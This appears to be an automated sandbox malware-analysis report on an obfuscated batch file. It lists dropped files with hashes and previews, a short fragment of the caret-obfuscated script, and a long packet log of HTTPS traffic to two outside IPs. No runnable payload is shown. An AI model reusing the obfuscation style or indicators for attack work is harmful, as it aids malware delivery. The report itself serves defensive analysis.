Preview:	PK........\.FX....G'..........LICENSE.txt.\]s..}G...J/....L2.Im...m.-y))..KI...Eh.........Yv..W.U.D..F..}N.t/.W.x2.?....\.\|<..\|.......<v.+V..D.y..B,..x..\$y.....O5...e)...'.....'...r.dv....B....EV.p.Q.S.s-._..F....v...[.d..g(.=O.l.=.j$\...Z.\-.+.tW&w..4..z...[}r.Sf..a....\fs.IR..p-.y...........Bh.N...+.S..B....+TF.h.(...mWx..JP`%5........8...7OP._..cC....B.A.6Q&..W.A...0>d.,.A.t...>.J}.10VLW\|.Q.w2.....R..R.h.L.{.Co.iLj.zyL.e.Mr..v........X.ot.+...a..a2y!.5_.{.P.;....9..P8.5.6....d...L..8..j&r.......M\|......,`H}.N.......31'..R...Mw0.nS2.[...Uf.3EG...2....P.@.w.7z...V..R,..x...M...NpK...H......1.K...!.........e..g..%..6.!...x8..5+b..W..w\|-..3..hJ{ij.p.9...c..\|..Q...L.u..q.b.n0.K...c0.....\|..].......%.....U...{.?i.s.R/o.O.c60.Y>..E....Tma..I....r._T....@9.bs...@...._......6...vnZ.h...U.....{..9....0.......CG....\|.0X]......k...7%`;l...C.8..].3'.^....^.L..g..^.ZV.mc.Wm...x..=................(.t_...t....'.Y..y..A.6~.......(8'3...{.dj{

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_555yenrp.lgk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cswgq2ck.gxq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ieiww0yz.t2y.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o0dqjeoz.5mk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rojyjpdl.e3e.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xdxf4qta.1pf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\Desktop\tmp

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	14
Entropy (8bit):	3.521640636343319
Encrypted:	false
SSDEEP:	3:Mrv:gv
MD5:	CE585C6BA32AC17652D2345118536F9C
SHA1:	BE0E41B3690C42E4C0CDB53D53FC544FB46B758D
SHA-256:	589C942E748EA16DC86923C4391092707CE22315EB01CB85B0988C6762AA0ED3
SHA-512:	D397EDA475D6853CE5CC28887690DDD5F8891BE43767CDB666396580687F901FB6F0CC572AFA18BDE1468A77E8397812009C954F386C8F69CC0678E1253D5752
Malicious:	false
Preview:	ECHO is off...

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

\Device\Null

Download File

Process:	C:\Windows\System32\find.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	36
Entropy (8bit):	3.8956388075276664
Encrypted:	false
SSDEEP:	3:gOmAe9qQn:xm/
MD5:	89D484A82D15549C8F4BF2B4D4F1E924
SHA1:	58F49E997A58A17C2902E08026BAC2DD16A34B1B
SHA-256:	040AE1183CD6102AC612B2D88C2816B358FDC4743BC9CD05376E797595167B40
SHA-512:	C0C920A9369FF9E28C9DAE6CA21AE7A1F9A79F2F4F8F97E247D133700FC446CEAA2C6C40116DE644CEA9336D9064792F3AD7011EBCBF5B6675779C57590F167B
Malicious:	false
Preview:	FIND: Parameter format not correct..

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with very long lines (17031), with no line terminators
Entropy (8bit):	5.627941266879209
TrID:	Text - UTF-16 (LE) encoded (2002/1) 66.67% MP3 audio (1001/1) 33.33%
File name:	slifdgjsidfg19.bat
File size:	34'065 bytes
MD5:	398b1c044e5de310efd112ade1aaef9c
SHA1:	d2bdaa2e2163c7c4426c914c489ea73f273a1c11
SHA256:	0ae88c8213896225ea23515a38ed6a7b1a6ecd102abab3f7493ddd455a697671
SHA512:	eb0ee80d31111863de559bf13617c4a944e7c86d2234edfad8277f7fea22817c51c563655948ef3d8608963e75ded567e7464986d1cd87fb88db53face63de30
SSDEEP:	768:EqIJQN9ETLblxR1w2Eqhf3SeAaC3ucsxZNm:+x3ouzNm
TLSH:	9AE2C69DAA936CDF14D6A40A9123A6666DD6747FB33F9027CC2C769F1B4001F8C26339
File Content Preview:	....>nul 2>&1 &cls.;@;@e%...............^...%%..................^%^c%......^............%ho of%...( ..._...)...(........)...(......_...)...(........)(.........^)(........)%^%...( ^..._...)...(.........)(.........)(........)...(......_...)...(........)%f&f

File Icon


Icon Hash:	9686878b929a9886

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 14:20:07.824616909 CET	49719	443	192.168.2.6	162.125.69.18
Dec 19, 2024 14:20:07.824651003 CET	443	49719	162.125.69.18	192.168.2.6
Dec 19, 2024 14:20:07.824892044 CET	49719	443	192.168.2.6	162.125.69.18
Dec 19, 2024 14:20:07.833940029 CET	49719	443	192.168.2.6	162.125.69.18
Dec 19, 2024 14:20:07.833961964 CET	443	49719	162.125.69.18	192.168.2.6
Dec 19, 2024 14:20:09.274689913 CET	443	49719	162.125.69.18	192.168.2.6
Dec 19, 2024 14:20:09.274789095 CET	49719	443	192.168.2.6	162.125.69.18
Dec 19, 2024 14:20:09.278233051 CET	49719	443	192.168.2.6	162.125.69.18
Dec 19, 2024 14:20:09.278247118 CET	443	49719	162.125.69.18	192.168.2.6
Dec 19, 2024 14:20:09.278706074 CET	443	49719	162.125.69.18	192.168.2.6
Dec 19, 2024 14:20:09.285768032 CET	49719	443	192.168.2.6	162.125.69.18
Dec 19, 2024 14:20:09.327394009 CET	443	49719	162.125.69.18	192.168.2.6
Dec 19, 2024 14:20:10.480514050 CET	443	49719	162.125.69.18	192.168.2.6
Dec 19, 2024 14:20:10.480595112 CET	49719	443	192.168.2.6	162.125.69.18
Dec 19, 2024 14:20:10.480598927 CET	443	49719	162.125.69.18	192.168.2.6
Dec 19, 2024 14:20:10.480704069 CET	49719	443	192.168.2.6	162.125.69.18
Dec 19, 2024 14:20:10.488725901 CET	49719	443	192.168.2.6	162.125.69.18
Dec 19, 2024 14:20:15.446346998 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:15.446384907 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:15.446518898 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:15.449163914 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:15.449187040 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:16.720974922 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:16.721065998 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:16.722733021 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:16.722749949 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:16.723004103 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:16.729144096 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:16.775329113 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.204720974 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.204773903 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.204848051 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.204858065 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.207350969 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.207411051 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.207420111 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.209429026 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.209486008 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.209494114 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.218895912 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.218952894 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.218961000 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.238663912 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.238724947 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.238734961 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.248929024 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.248977900 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.248986959 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.425770044 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.425842047 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.425853014 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.428776979 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.428843975 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.428853035 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.438167095 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.438230991 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.438239098 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.444242954 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.444302082 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.444310904 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.449911118 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.449969053 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.449978113 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.455934048 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.455991983 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.456001043 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.464658976 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.464741945 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.464802027 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.464812040 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.464859962 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.469824076 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.471373081 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.471426010 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.471434116 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.476562023 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.476613998 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.476622105 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.481169939 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.481219053 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.481225967 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.501056910 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.501115084 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.501125097 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.582963943 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.690170050 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.739208937 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.989087105 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.992069006 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.992130995 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.992145061 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.992191076 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.992249966 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.992258072 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.992281914 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.992299080 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.992306948 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.992331982 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.992446899 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.992496014 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.992503881 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.992651939 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.992657900 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.992676020 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.992727995 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.992734909 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.992777109 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.992780924 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.992811918 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.992851973 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.992908001 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.992973089 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.992979050 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.993010044 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.993112087 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.993169069 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.993177891 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.993187904 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.993195057 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.993226051 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.993233919 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.993242979 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.993304968 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.993364096 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.993371964 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.993406057 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.993457079 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.993464947 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.993515968 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.993616104 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:17.993623018 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:17.993685007 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.153318882 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.153387070 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.346646070 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.346745014 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.360810995 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.360883951 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.553968906 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.554085016 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.554094076 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.554126978 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.554167986 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.554210901 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.554270029 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.554341078 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.554367065 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.554383039 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.554440975 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.554447889 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.554508924 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.554508924 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.554522991 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.554645061 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.554740906 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.554749012 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.554827929 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.554866076 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.554881096 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.554920912 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.554951906 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.555000067 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.555020094 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.555046082 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.555087090 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.555087090 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.555097103 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.555135965 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.555226088 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.555233002 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.555289984 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.677726984 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.677912951 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.725917101 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.726011992 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.726152897 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.726213932 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.726443052 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.726521969 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.727145910 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.727276087 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.727303982 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.727319002 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.727344036 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.727541924 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.727610111 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.727618933 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.727678061 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.728231907 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.728370905 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.728389978 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.728395939 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.728427887 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.728454113 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.728465080 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.728507996 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.728512049 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:18.728522062 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:18.728631020 CET	49739	443	192.168.2.6	172.65.251.78
